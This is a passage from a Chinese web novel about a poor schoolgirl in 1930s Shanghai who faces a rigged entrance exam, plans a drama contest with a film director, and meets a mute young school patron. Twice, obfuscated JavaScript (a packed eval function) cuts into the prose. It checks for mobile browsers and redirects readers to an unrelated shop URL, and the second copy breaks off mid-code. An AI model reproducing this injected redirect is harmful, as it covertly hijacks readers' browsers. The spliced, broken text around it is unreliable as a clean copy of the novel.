虽是含笑的语气,但她的神志却没有参与这笑。闻亭丽又想起那一晚米歇尔和乔太太交谈甚欢的情形,心里不免生出几分忐忑,刚要说些什么,米歇尔打断她道:“好了,你先去领校服,待会直接去三年级的‘求真’班报道。” 一边说话,一边将桌上的学生手册之类的物事向前推了推。闻亭丽松了口气,抱起那堆资料说:“谢谢米歇尔校长。” “等一等。”米歇尔用手指敲了敲桌面,“帮你转学的那位监护人只帮你缴纳了学费,还需你自己补缴学杂费、伙食费和课本费。” 桌上放着一张单子。几项费用交起来,竟高达一百大洋,闻亭丽心里早有准备,太阳穴还是突突直跳,务实是出了名的贵族女子学校,学生们一年四季均有定制的校服,除此之外,学校里的餐食似乎也极尽考究。 好在只剩下最后一个学期要读了,她对此早有准备,但一百大洋毕竟不是小数目,若是能申请到校方的补助,那就更好了。 “闻小姐有困难么?”米歇尔很温和地发问。 “是有些困难。”闻亭丽坦然承认,“不知道学校有没有针对贫困学生的补助措施?” “有是有。”米歇尔意味深长笑了笑,“但今年上半年的名额已经派完了,况且学校里的各项奖学金历来只针对学习顶优秀的孩子,以闻小姐现在的成绩么……” 她含蓄地叹了口气。闻亭丽却从这番话里捕捉到几个关键字眼,忙再次向米歇尔确认:“学校经常会有一些奖学措施对吗?下一次是什么时候呢?” 米歇尔却说:“我还有事要忙,有什么问题可以去问问你的班主任。对了,如果今天之内缴不齐费用,学校会默认你自动放弃入学资格。” 闻亭丽只得捧着那堆东西出来,寻到学校账房缴了费,又去生活部领了四套校服。 三年级只有两个班,闻亭丽的新班级叫“求真”,另一个班叫“兴国。” 她轻手轻脚走到求真班的课室门口,立即有无数双眼睛齐刷刷看过来。讲台上是一位穿蓝布旗袍配红针织衫的女老师,看得出她脾气很好,即便讲课时也是一团和气。 闻亭丽提前就打听到这是求真班的班主任,名叫柳苑华。 “柳老师好。” “是闻同学吧?快请进。”柳苑华热情地将闻亭丽领进教室。 又朗声介绍:“这是从秀德中学转来的闻亭丽,以后她就是我们的新同学了,大家鼓掌欢迎。” 教室里哗啦啦急雨似的一阵响,每个人都用好奇而友善的目光打量闻亭丽,闻亭丽含笑一一回应,柳苑华在掌声中将闻亭丽领到最后一排,对一个胖乎乎的鬈发女孩说:“燕珍珍,让闻亭丽坐到你旁边。” 燕珍珍耸耸肩,慢吞吞从旁边空着的课桌里掏出一大堆自己的杂物,柳苑华溺爱且嗔怪地瞪了燕珍珍一眼,等闻亭丽坐下,俯身对她说:“把国文课本拿出来,我们刚讲到第十三课。” 下课后,柳苑华带着闻亭丽找到自己的柜子。 “每个学生都有自己的杂物柜。你可以把校服和课本先放在这里。看到走廊尽头的那扇门没有?那是娱乐厅和盥洗室,课间休息的时候同学们经常在那里从事一些淑女化的休闲活动。食堂在振华楼后面,所有学生都需在学校用午餐,走读生也不例外。” 带着闻亭丽四处参观一遍,这才将她送回闹哄哄的课室,闻亭丽一坐下来就忙着整理课本。 燕珍珍托着自己的圆脸蛋,在一旁懒洋洋打量闻亭丽,冷不丁来了句:“我认识你。” 一边说,一边往嘴里扔了一块曲奇饼。 “噢,是吗?”闻亭丽笑了笑,回眸看她一眼。 “我看过你们学校的演出,他们说你是秀德的校花,他们还说你……”燕珍珍故意打住话头。 闻亭丽自顾自摊开书温习刚才的笔记。燕珍珍等了半天,始终没能等到闻亭丽接茬,不由撇了撇嘴:“没劲。” 她赌气对着窗外自顾自吃了几块曲奇,一时没忍住,又转过头来。 “喂,我说你,你就不好奇别人背后怎么说你么?” 闻亭丽露出匪夷所思的神情:“他们怎么说是他们的事,跟我有什么关系?” 燕珍珍一愣,抚掌笑了起来。 “好好好,是个有趣的人。”她用手帕擦了擦手,主动同闻亭丽握手,“我叫燕珍珍,你第一天来,有什么不懂的可以问我。” 又将手边那盒精美的曲奇罐推到闻亭丽面前:“这是我爸爸从比利时国带回来的,比飞达咖啡馆的曲奇饼好吃,你尝尝。” 闻亭丽一尝:“真的很好吃哎!” 又埋下头去记笔记。燕珍珍凑过去一看,恰是刚才柳老师课上讲的要点。 “要不要这么用功嘛。” 闻亭丽扭头问她:“正要问你呢,我们学校都有哪些奖学金项目?” “奖学金?你问这个干吗……我想想,大概每年期末考了第一名的会有奖学金,季考第一名也有。” 她指了指前排一个高瘦的女学生,小声说:“比如她,陈晓虹,她就是公费考进来的,她爸爸去年病逝了,家里很困难,但因为她每次都考第一名,所以这两年她光是拿回家的奖学金比她哥哥在书局做事拿到的薪俸都要多得多。话说起来,学校对于真正优秀的学生历来是很大方的。” 闻亭丽敬畏地望向前方的背影,先前在课堂上,她刚听过这位陈晓红回答问题,旁征博引,举一反三,这样厚的底子绝不是她短时间内能赶得上的。 “除了这些之外,还有别的助学项目吗? ” “有啊。”燕珍珍将钢笔放在自己的人中和上唇之间,一会儿把笔架起来,一会儿放下去,玩得不亦乐乎,“譬如代表学校拿到全市级别的奖项,学校也会大肆嘉奖,去年‘兴国’班有个叫孟林的,因为在中西私塾那帮老学究举办的咏梅诗词大赛得了第一名,学校一下给她发了五百大洋的奖励,美其名曰‘育英奖学金’。” 五百大洋?!闻亭丽眼睛一亮。 “这事当时在各大报纸上大肆宣扬了三天,估计你也听说过。不过育英奖学金得先经过陆家的人批准才发放。” 说着,燕珍珍向上指了一指,“就是我们学校的大校董,陆老先生。” 闻亭丽越听越感兴趣,等不及就要去图书馆借报纸查看最近都有哪些话剧比赛。 “你是认真的?喂,你先等等,学生不能私自参加校外的比赛,必须提前经过校董会批准,可是最近陆老先生好像不在上海,难不成你打算去找那位陆小先生签字?万一真拿了奖,岂不是要亲自从他手里领取支票?” 闻亭丽讶道:“这有什么不好的吗?” “老头子就算了,陆小先生可没比我们大几岁,听说他今年才二十岁,而且相当有个性,我可不好意思找那样的人当面要钱。”燕珍珍苦恼地皱眉笑起来。 闻亭丽被她这样子逗得直笑,好奇地说:“为什么说他很有个性?这位陆小公子很不好打交道吗?” “不不不,听人说,这陆小先生顶好打交道,只不过他做事很有原则,刚接掌陆家,就给十几万工人大发补贴、增加员工休假、改善宿舍条件,最后还大搞什么分红制度,把他祖父气了个半死,当时人人都说陆公子是个败家子,料定陆家的产业会迅速缩水,没想到才半年,橡胶厂和糖厂的效益就翻了一番,从此,自上到下都对陆小公子心服口服。可是头半年,陆家当真是腥风血雨,外界都以为陆小公子会扛不住,没想到他硬是若无其事撑下来了,所以大家才说他有魄力有个性。” 燕珍珍顶会讲故事,闻亭丽听得津津有味,这时,柳苑华带着一位年轻的女老师过来找闻亭丽。 “这是教务处的陈先生,她有事找你。” 闻亭丽不明就里,忙放下笔随柳苑华出去。 那位陈先生冷冰冰地说:“根据学校的规定,每位转学生进校门时都需参加一次摸底考试,教务处的先生们已经来了,稍后会对你进行单独考试,你跟我过来。” 闻亭丽错愕地看向柳苑华,柳苑华也是一脸惊疑,半路悄声对闻亭丽说:“往年的确有针对转学生的考试,但一般以面试为主,今年可能因为邹校长不在,所以米歇尔副校长临时增加了笔试,别担心,你刚转入务实,题目不会太难的。” 到了小教室,就看见上面坐了一排先生,米歇尔校长也赫然在列。 闻亭丽惴惴鞠了一躬,坐下来一看卷纸就傻眼了。 第一道论述题便是《法国大革命对欧洲工业发展的影响》(注) 算术题更是又偏又刁钻。 磕磕巴巴写了一个钟头,上面的老先生开始交头接耳,陈先生越来不耐烦,时间一到,不容分说将卷纸夺走了。 闻亭丽心里一点底都没有。下午时分,柳苑华再次带着那位陈先生过来找闻亭丽。 “成绩出来了。”陈先生直截了当地说,“你的国文和数学各自只答对了一题,英文也不及格,教务处的先生们现在已是一片哗然,这成绩比最差的学生还要差许多,比起学生规模,学校一向更重视学生质量,像你这种水平的学生只能立即劝退。” 柳苑华大吃一惊:“怎么会,我看过闻亭丽同学过去的成绩单,以她平时的水平绝不至于考得这么糟糕。” 陈先生意味深长地看着柳苑华:“柳先生,你是在质疑这场考试的公正性么?别忘了刚才是米歇尔校长和教务处一起监的考,当时你也在场。” “我不是这个意思,我只是觉得闻同学第一天来,也许只是不适应务实的考题才没发挥好,这样就劝退未免——” 陈先生说:“米校长考虑到了这一点,所以刚才紧急召集几位在校的校董进行了一次商讨,最后决定:准许闻亭丽在本校念到毕业,但为了不影响今年毕业生的整体质量,校方不同意她以务实的学籍参加大学入学考试。八月底就要联考了,以闻同学现在的水平不可能在短时日内赶得上来,倘若强行让她以本校的学籍考试,必然会影响全体毕业生的声誉。” 闻亭丽脑袋嗡嗡作响,她转到务实来就是奔着考大学来的,这边不给她学籍,岂不是又得回秀德开学籍证明?乔太太死都不会同意的。 等等,她知道问题出在哪儿。“我想见一见米歇尔女士。” “我陪你一起去。”柳苑华忙说。 米歇尔在办公室里悠然浇花,听到敲门声并未回头。 “什么事?” “米校长,闻亭丽第一天入学,目前仍处在适应阶段,校方要不要等她适应一段时间以后再进行摸底考试,最后以较高的成绩为准?” “没问题。倘若你和闻亭丽都对这次考试成绩有异议,再过一个礼拜,甚至一个月再考一次都行。” 闻亭丽心里一晃,看样子,不管她再考多少次,米歇尔都会有本法叫她考不出“理想”成绩的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902507|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 联想到今早米歇尔打量她的复杂眼神,闻亭丽几乎敢肯定这位副校长受到乔太太的影响了,难怪乔太太那天答应得那么痛快,原来在这等着她呢,她几乎能看到乔太太那得意至极的笑容。可恨米歇尔表面上做得滴水不漏,即便其他校董会的成员提出质疑,也没人有那个耐心重新检查试卷上的题目。 更何况,谁又会为了一个学生得罪副校长呢。 “闻同学还有什么异议吗?”米歇尔款款坐下, “学校不过是按照章程来办事,希望你体谅一下。毕竟我们学校的宗旨是培育英才,而非照顾庸才。” 闻亭丽清清嗓子说:“学生刚背完了务实中学的学生守则,记得第四十八条校训说:凡是取得育英奖学金的学生,都会被评为务实的一级优秀毕业生,既是一级优等生,想必学校不会不肯给学籍,这条守则我没背错吧?” 米歇尔的目光透过镜片笔直地向闻亭丽射过来,缓声说:“是有这么个规定。不过‘育英奖学金’是为那些在全市比赛中取得第一名的同学设立的,闻同学是诗词出色?还是翻译出色?还是懂西洋科学?抑或是有什么出类拔萃的艺术天赋?” 说到最后,她嘴边突然堆起浓浓的讽笑。 “既然学校有这条规定,我愿意报名试一试,等我拿了奖,希望校长能亲自把学籍证补发给我。” 米歇尔笑容可掬地点点头:“可以,那就拭目以待吧。苑华,我还得去教育局一趟,你可以先带闻同学走了。” 柳苑华拉着闻亭丽告退,回去的路上忍不住说:“米歇尔副校长是主抓学生成绩的,这方面连邹校长都得尊重她的意见,唉!就剩两个多月就要毕业了,这么短的时间之内,你真有把握争取‘育英奖学金’?那很难的。” “不怕,总归要试一试。” 一天下来,闻亭丽跟班上的同学们基本都混熟了,借着跟同学们闲聊的机会,又将学校话剧社现有成员的名字和喜好一一打听清楚。 傍晚时分,她在校门口跟燕珍珍等人分了手,径自朝对面的电车走去,可惜早上黄远山过来时她也没机会听她多说几话,这会儿再要找到这位黄导演可不易。 忽然瞥见一旁洋梧桐树下立着两个汉子,他们居然又来了! 闻亭丽想起昨晚这两个人听任邱凌云欺负她,肚子里的火蹭蹭往上冒,恶狠狠剜他们一眼,扭头就朝另一边走去,背后传来一道熟悉的嗓音。 “闻小姐。” 回头一看,黄远山正倚着汽车门朝她招手。 闻亭丽喜出望外,黄远山笑容满面朝她走过来:“这附近一家洋人开的咖啡馆不错,我请你喝点东西。闻小姐先别拒绝我,我晓得你不大想入我们这一行,随便聊几句就行,你听我——” 不曾想闻亭丽主动接过话头:“那间咖啡馆在哪里?我们走吧。” *** 黄远山是个心直口快的性子,坐下来没说几句话,就直截了当把话题切到了电影头上。 “闻小姐,我敢打赌你会喜欢这个电影本子的,名叫《南国佳人》,主角是个女学生,年纪么,恰与闻小姐相符。剧本是由北平名笔——月照云女士所写,写得相当好,我一拿到剧本就找我们公司里的几位女演员试镜,可惜要么年纪不合适,要么气质不符,为了找寻合适的主演,最近我都把主意打到沪上各大学校剧团的头上了,这不,一大早就来找你们学校的艺术系主任,结果扑了个空。可我万万没想到,闻小姐竟然有兴趣,那再好不过了! 这个人一聊到电影就眉飞色舞。 闻亭丽正色说:“黄导演,我自身对拍电影绝没有任何偏见,但一方面,家父不大理解这个行当,我有点担心他老人家会接受不了,另一方面,我还在念书,拍戏绝对不能影响我的学业。” “绝不会耽误你的功课,我跟你们邹哲平校长还算熟,会提前跟贵校都沟通好拍戏时间的。” 闻亭丽心头一喜,却仍没松口。 黄远山嘿嘿一笑:“闻小姐是不是担心我不给你报酬?放心,敝公司绝不会因为你还是学生就故意压价,开拍前会跟你谈妥价钱并且签订正式合同,一切都是合理合法的。” “报酬还是其次。”闻亭丽故作沉吟,“坊间现在对演员仍旧存在很大的偏见,要我参演贵公司的电影可以,但必须有个相当正式的名头。” “此话怎讲?” “我希望黄小姐能联合上海的各大中学举办一次正式的话剧比赛,届时我会以务实女子中学的学生身份报名参赛。” 黄远山愣住了。 “黄导演,您想想,能报名参加这种比赛的,必然是各大学校对戏剧最感兴趣的那批学生,一场比赛下来,贵公司何愁搜罗不到既青春又懂演戏的新人?” 黄远山眉峰一跳。这倒是个好主意,公司为了选拔新人,去年曾出资参与举办“上海小姐”大赛,结果选出来的前三名美则美矣,却对演戏一窍不通。 她是个爽快人,凝神思量片刻,立刻拍板:“马上我就张罗起来,但是一场比赛少说也要一两个月,我这部新电影即将开拍,哪能等得了这么久?” 闻亭丽苦笑:“最近我本来也没时间去演电影,我得准备毕业考试,此外,父亲重伤住院,每晚我都得留在医院里帮着照顾,待会跟您说完话,我还得尽快赶回医院。” 黄远山一呆:“令尊住院了?对不住,我并不知道你家里的情况。在哪家医院?待会我同你去看看他老人家。” “谢谢黄姐的好意。我只是想说,考大学对我来说无比重要。”闻亭丽若有所思看一眼对面的务实中学的校门,“最近我在学校遇到了一点难题,这场话剧比赛对我很重要。我的要求是:先等我拿到这场比赛的冠军,贵公司再以主办方的名义,邀请我这个大赛冠军去参演《南国佳人》,这样公众都知道我是因何参演电影,日后我父亲得知消息,思想上也会更容易接受一些。” “原来如此。”黄远山面露同情,“不过——闻小姐这么确信自己一定能得话剧比赛的冠军?” 闻亭丽将两手交叠托住自己的下颌,对黄远山绽出一个无比灿烂的笑容:“我就没想过我会失败。” 黄远山怔了怔,立刻用拇指和食指架成一个方框,对着闻亭丽“咔擦” “咔擦”几声。 “对对,就是这个角度,这张脸,无论是近景还是远景,都太出众了,闻小姐,你这样美丽而自信,简直天生就是为电影艺术而生的。” 她越说越兴奋,搓了搓手说:“你让我想想先从何处着手,第一步,这种大赛首先得征得各大中学校董的同意…… 这样吧,你先跟我去见一个人。” “见谁?” “你们务实中学的大校董——陆世澄啊。早上我来时,听你们副校长说陆世澄明天可能要回南洋一趟,既要办成这件事,首先得抓紧时间去找陆世澄签字。有务实女子中学牵头,就能顺理成章发动秀德、慧珍等一干沪上中学也跟着参赛了。走,趁现在天还没黑,赶紧去一趟陆公馆。” 13.第 13 章 黄远山是个急性子,一旦做了什么决定,几乎等不及马上要办。 她召唤仆欧结了账,急急带着闻亭丽从咖啡馆出来。 闻亭丽边走边回头看,黄远山这人固然豪爽大方,却也有点粗心大意,从头到尾她都没注意到后头有两个汉子在盯梢。 “陆家当年在法租界买了两块地。”黄远山自顾自跳上洋车,“一块用来盖学校,另一块用来建宅子。陆公馆就坐落在离你们学校不远的地方,开车过去只需要七-八分钟。” 她看看腕表:“也不知陆世澄在不在家,说起来我们还算运气好的,陆家现由这位陆小公子当家,此人虽然很有个性,却一贯比他那两位叔父更好打交道。” 个性。闻亭丽这是第二次听到别人用这两个字来评价陆世澄,她愈发感到好奇:“他究竟是个什么样的人?” “谁?”黄远山愣了愣,“你说陆小公子啊,唔,此人绝非等闲之辈,三言两语也说不明白,待会你自己见到他就晓得了。” 汽车驶出去没多远,前方就出现一幢法式风格的白色大宅,两旁的道路上栽满了蓊蓊郁郁的洋梧桐树,四周异常幽静。 黄远山把车停在那巍峨的镂空雕花铁门外,下车将自己的名片递给闻声而出的门房:“鄙人姓黄,这位是闻小姐,我们有急事要拜谒陆小先生。” 闻亭丽悄悄隔着铁门向里眺望,偌大一座前花园,门内有一条极宽敞的环形车道,而那幢显眼的白色主宅则坐落于车道尽头,整座宅子的结构工整、大气,且静谧,周遭除了啁啾的鸟鸣和潺潺的水声,几乎听不见什么扰人的嘈杂声响。 一阵风吹过,墙内送来怡人的花香。在门口屏息等了一小会,一位中年管事出来了,向两人欠了欠身。 “黄女士,闻小姐,请随我来。”举止十分得体。 跟着这管事进去,绕过一座座的屋宇,穿过一丛丛的灌木丛,路过一块块颜色艳丽的花圃,绕来绕去不知走了多久,终于穿过那漫长的前庭花园,抵达一处喷泉池前,本以为终于要到正宅了,前方冷不丁又出现一块宽阔的大草坪。 这时,管事突然止步,闻亭丽和黄远山不禁也停下来顺着管事的视线往前看,在前方那片沁人心脾的茵绿中,忽然瞥见一片奇异的移动的白。 定睛看,居然是一群雪白的鸽子在移动,这群鸽子围着一个人,那人正在那儿喂食。 背着光,但能看出他很年轻。 “客人来了。” 那人呼啦啦一下撒出全部鸽子,扭头朝身后看过来。 闻亭丽一愣。 这人相貌异常俊秀,眼睛明亮有神,气质很出众,光是安安静静站在那儿,就让人想起一副清雅的中国水墨画。她自小到大见过那么人,第一次想要用“漂亮”来形容一个男子。 这人看了黄远山和闻亭丽一眼,朝她们迎过来。 “陆公子。”黄远山爽朗地说,“我们又见面了。” 陆世澄取出一块手帕把手擦干净,主动跟黄远山握了握手。闻亭丽暗忖,原以为这位陆小先生会很傲慢,没想到他十分有教养。 跟黄远山握完手,他朝闻亭丽看过来,目光中透着几分询问。 “噢,这位是闻小姐。”黄远山热络介绍,“她刚转到你们务实中学念书,今天要跟陆先生聊的这件事与闻小姐也有点关系。” 陆世澄想是很清楚此间风气仍相当保守,看闻亭丽一副学生打扮,便只对她颔了颔首,并未跟她握手。 近看,他的鼻梁高而秀美,眉毛浓淡适宜,眸子深不见底,宛如静谧的黑玉之湖。 闻亭丽心中一动,那晚她从乔家跑出来时撞到的那个人,好像就是陆世澄。当时他也是像现在这样安静,最令她印象深刻的是,尽管他被她撞得不轻,却不忘帮她把掉落的头饰捡起。 她心中不由得对此人生出几分好感,礼貌地回以一笑:“陆先生好。” 陆世澄看一眼自己身旁的管事,管事忙说:“茶点已经准备好了,我马上给黄先生和闻小姐奉茶。” 陆世澄便对黄远山和闻亭丽做了个“请”的姿势,亲自领着二人朝一旁的宅子走去。 闻亭丽落后他们几步,走着走着,目光便好奇地落在陆世澄的身上,这个人从头到脚都长得很好看,身形高挑挺拔,肩膀宽而瘦削,腿长,就连手也比别人生得漂亮,指甲柔滑圆润,手指修长白皙,而又骨节分明。 黄远山还在路上就迫不及待谈起了自己的来意。 “……这是沪上第一次举办正式的学生话剧比赛,由敝公司和务实中学牵头,联合上海电影协会,以及沪上几家中学……若能成功举办,将在年轻人中产生深远的正面影响……黄某认为这是个极好的发展中国电影事业的好机会。” 陆世澄静静地听着,也不知道他到底感不感兴趣,但至少他表面上听得相当认真。 到这时,闻亭丽突然意识到从刚才起就没听到陆世澄开口说过话。 更纳闷的是,黄远山好像对此毫不感到奇怪。 进了主屋,陆世澄指着一旁的沙发示意黄远山和闻亭丽坐,他的年纪明明是那样轻,气质却很沉稳。 这时那位管事亲自端着几样茶点进来了,清一色的白铜托子配白茶盅,茶盅里的茶汤却各有不同。 其中一碗浅绿的清茶被放到黄远山的面前,给闻亭丽的却是一盏金银花玫瑰茶,此外还有几碟别致的茶点。 黄远山哪有心思喝茶,只在那里意气风发地说着自己的计划。 陆世澄则坐在对面沙发专注地倾听。 尽管他从头到尾没有开腔,但他给人的感觉非常舒服、自在、有包容性,这让身为客人的闻亭丽也慢慢由局促变为放松。 “陆先生,这就是黄某今天的来意。”黄远山嘿嘿笑着说,“其实应该事先打个招呼,但黄某听说陆先生不日就要回南洋一趟,只好不揣冒昧前来叨扰了,这场比赛规模不小,想要办得像模像样,必须尽快操办起来,陆先生怎么看?假如您同意务实女子中学跟黄金影业牵头联合举办此次大赛,黄某还得厚着脸皮请您亲自跟贵校的校董会打个招呼。” 陆世澄并没有马上接茬,仿佛在认真思考。 黄远山不免有些忐忑,扭头朝闻亭丽丢了个眼色。闻亭丽悄悄扬了扬眉,她虽然比谁都盼望陆世澄答应这件事,但这种场合好像还轮不到她开腔。 陆世澄将二人的表情看在眼里,突然抬头朝管事看了一眼。 管事忙笑说:“陆小先生说这只是小事,他可以帮黄女士写封信,黄女士明日拿着信去找务实中学的校董,他们会遵照陆小先生的意思办的。” 闻亭丽和黄远山喜出望外:“这样再好不过了。” 陆世澄走到一张樱桃木书桌前坐下,从上衣口袋取下钢笔,写完那封信,将其交给黄远山。 闻亭丽瞥过去,字如其人,漂亮遒劲。 黄远山握着陆世澄的手,爽朗地说:“陆公子真是黄某见过的最痛快最大方的人!黄某先替沪上电影事业谢谢陆公子了。” 陆世澄依旧没开腔,亲自将两人送到大厅门口,立在台阶上,示意管事招待二人出去。 走了好一段路,闻亭丽下意识回头,刚好看见陆世澄转身回大厅。 这个人,由始至终都很有教养。 两人出来上了车,闻亭丽忍不住问出心中的疑惑:“黄姐,你没发现刚才这位陆小先生刚才一直没说过话么?” 黄远山正忙着将那封信收起来,闻言一愕:“你不知道?” 闻亭丽莫名其妙:“知道什么?” 黄远山掉转车头,飞快朝来时的方向驶去,走出去老远了,这才压低声音说:“陆小先生有哑疾。” “什么?!” 黄远山仔细端详闻亭丽一眼,似在判断她的表情是否是装出来的。 “难道你此前从未听过陆家的传闻吗。” 闻亭丽茫然摇头:“陆先生天生就是哑巴吗?” “他不是哑巴,只是不肯说话。” 闻亭丽的好奇心已经被彻底勾起来了:“到底是怎么一回事?” 黄远山就说起了陆家当年的一件惨事。 原来陆鸿隽老先生是南洋陆家的第二代传人,膝下育有三子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说到此处,黄远山露出意味深长的表情:“有人说,当年那帮人根本不是绑匪,而是陆二爷和陆三爷花钱雇的凶徒,也有人说,陆世澄不过是假装不会说话,因为要防着两位叔叔连他也除掉。” 闻亭丽一凛:“真是他们做的?就算不是亲生兄弟,又何必下这样的毒手。” 黄远山摇摇头:“父亲的宠爱是一回事,族人的接纳又是另一回事,听说兄弟俩由始至终没能得到陆家人的认可,常常被人背地里叫‘南洋杂种’。加上长房太太当年没少受二房的窝囊气,兄弟俩大概是担心长兄掌权之后,会把他们赶出陆家,所以才先下手为强——当然,除掉陆家大爷之后,这两兄弟的确也风光了好些年,至于陆世澄长大之后么——” 闻亭丽想起前年在报上看过的一则新闻,脑中白光一闪:“那回说有两位南洋富绅在上海发生了车祸,莫非说的就是陆二爷和陆三爷?” 报上说,那位二爷车祸中丧失了意识,如今吃喝拉撒都需要人照料。 三爷也成了残疾。 “就是他们俩。”黄远山咳嗽一声,“这两兄弟出事之后,陆家才轮到年纪轻轻的陆世澄掌事。” 闻亭丽脑中冒出一个猜想,但她不敢说,黄远山也是一脸敬畏:“前头你问我陆公子是个什么样的人,我说他绝非等闲之辈,你现在明白了吧,什么叫卧薪尝胆,啧啧。小小年纪,却能不动声色蛰伏这么多年,等待时机手刃仇人,这份心性——” 她随即挠挠头:“这些不过是坊间的议论,你就当故事听听算了,千万别当真。” 闻亭丽指指自己的耳朵,又指指自己的嘴巴,很谨慎地摇了摇头,隔了一阵,忍不住又问:“陆公子现在还不肯说话吗?” 黄远山耸耸肩:“他兴许是已经养成了懒得开腔的习惯,又或者当年那场惨案真给他留下了所谓心理阴影(注),反正我从来没听他开口说过话,好在他的耳力很好,所以跟他谈事情的时候不必担心交流问题,刚才你也瞧见了,他西装口袋里常年挂着一支笔,偶尔想说什么,就在纸上写下来给别人看。” “这样跟他打交道不会太麻烦吗?” “麻烦?”黄远山瞪圆了双眼,“上海不知有多少人想跟这位陆公子搭上关系,嫌烦的人,走开好了,自会有别人补上去。” 14.第 14 章 说着说着,到了慈心医院,黄远山不顾闻亭丽的拦阻买了一堆补品进去探望闻德生。 黄远山一走,闻德生立即警惕地问闻亭丽:“那人是做什么的?既不像学生,又不像老师的,脸上还戴着个怪里怪气的墨镜,怎么看都不像正经人,你跟她是怎么认识的?” “您怎么这样说黄姐——”想了想,闻亭丽又把话咽了回去,绝口不提黄远山要找她拍电影的事,只说,“她是我们学校戏剧社的外聘教授,恰巧有事路过这里,听说您病了顺便过来探望探望,人家一片好心,爹真是的。” 闻德生仍是一脸戒备之色:“不是爹要胡思乱想,现在外头社会风气很乱,眼下爹又病着,你年纪这样小,可千万别被社会上的坏人用花里胡哨的手段唬了去。” 闻亭丽自顾自坐下来摊开课本:“爹,你放心,我心里有数。” 闻德生吃力地仰起头待要再叮咛几句,看清女儿的眼神,不由一呆,女儿的眼睛仍旧乌黑清澈,但不知何时起那里头还添了几分沉毅。 这种沉着,往往只在经历过风雨的大人们身上才会出现,女儿何时起竟也有了这种眼神…… 他辛酸地想了一阵,稀里糊涂再一次陷入昏睡。 周嫂带着小桃子从公共盥洗室里洗完手脚回来,闻亭丽从书包里取出燕珍珍给她的那块朱古力给小桃子:“我们小桃子这些日子特别懂事,姐姐早就想奖励你了,这是姐姐同学的父亲从比利时国买回来的,你尝尝好不好吃。” 她耐心帮妹妹剥开朱古力外头的锡纸,又跟周嫂商量周末搬家的事。 乔太太租的那套房子十分破敝,是一幢暗灰色的老宅,墙面和洋铁水管上满是霉苔,住户多且杂,乔太太给闻家租的是底下一层,别的楼层挤了好几户人家。 唯一的好处是房子距离务实中学很近,走路上学只需七-八分钟。想是乔太太为了便于监视闻亭丽故意如此。 搬家这天,周嫂抱着大包小包,气喘吁吁坐到床沿上。 “大小姐,这房子会不会太……” 这种地方别说开洋服店,连日常生活都显得太拥挤。 “租金够便宜。”闻亭丽打开衣柜门往里面放衣裳,“再说我们家现在也开不了洋服店了,用不着住那样大的房子。周嫂,你带小桃子住这间大的。我住旁边这间,对面那间等我爹出院了给他住。你瞧,这地方买菜多方便。” 周嫂被闻亭丽的乐观精神所感染,也跟着乐陶陶收拾起屋子来。 原本她还忧愁搬家之后闻家会不会继续雇她,没想到昨晚闻亭丽把这个月的工钱提前支付给她了,还对她说:“周嫂,你只管安心带好小桃子,往后只要我有一口饭吃,就少不了你的吃用。” 周嫂捧着那堆银元,心中五味杂陈。 她是个无依无靠的妇人,早年也嫁过人,可惜丈夫身体不好,成亲后两口子一无所出,头些年丈夫死了,婆家硬说她不祥,狠心将她撵出了家,她跟着同乡坐火车来上海谋事,先找到一家日本纱厂,日本工头惯会苛待工人,每天被逼着做十几个钟头的事不说,伙食也极差。 有一次她因为得了肺炎,想向厂子里的工委会支钱看病,岂料那帮日本人怀疑她得的是肺痨将她赶了出来。 那日下着大雨,她发烧咳嗽,晕死在路上,碰巧闻亭丽的母亲从布料市场回来,看到她一个妇人孤苦地倒在雨中,忙将她送到医院,还日日给她送饭,等到病好了,周嫂便死心塌地留下来帮闻家做事了。 闻太太待她极好,不但管吃管住,每月还给她一笔数目合理的工钱。 可惜好人不长命,前年闻太太生完小桃子没多久就死了,现在闻先生又…… 好在经她观察,大小姐竟比家里的大人还有主意,她膝下无儿无女,早对闻亭丽和小桃子产生了一份近似于慈母的牵挂。 昨日闻亭丽给她银元,她二话不说将其塞回去:“有大小姐这话,周嫂就放心了,你雇周嫂一天,周嫂就帮你照顾这个家一天。先生还病着,眼下处处都需用钱,工钱你不用急着发,等手头宽裕了再说。” 闻亭丽却坚持要把工钱给周嫂:“您只管安心收下,再困难,工钱还是发得起的。” 周嫂红着眼圈收下了。搬完家已是傍晚时分,为了向平安里的邻居们表达谢意,闻亭丽在衖堂附近的小饭馆请大伙吃了一顿饭,席散后,便牵着小桃子的手跟爷叔阿姨们一一告别。 说了一晌话,姐妹俩在邻居们的目送下,一步三回头离开了这条她们住了多年的老衖堂。 *** 第二日中午,闻亭丽正跟燕珍珍等人在餐厅用餐,校工过来寻她。 “闻同学,有位黄小姐在外头找你。” 出来一看,除了黄远山,一同来的还有孟麒光。他们俩一个半倚在车旁,一个低头坐在车里看着什么。 走近看,原来孟麒光在翻看一本阔书,他的脸上并没有往日那种玩世不恭的笑容,相反,他的表情有点古怪。 黄远山高兴地冲闻亭丽扬了扬手中的一堆公函。 “瞧瞧,秀德这些学校一听说务实牵头,也都陆续跟着签字了。” 闻亭丽喜上心头:“真的?我看看。” 又含蓄地冲孟麒光点了点头:“孟先生。” 黄远山一脸得色:“接下来就看闻小姐自己的了。明日电影协会就和敝公司联名发表声明,过不了几天,学校就会通知你们话剧社的成员参赛,为了扩大影响,届时我害会请几家报社大肆宣传,不愁不能激发沪上广大青少年对电影的兴趣。我事先声明,比赛会绝对的公平公正,假如有人比闻小姐表现更出色,我可不会看你我相识的份上多给你分数。” 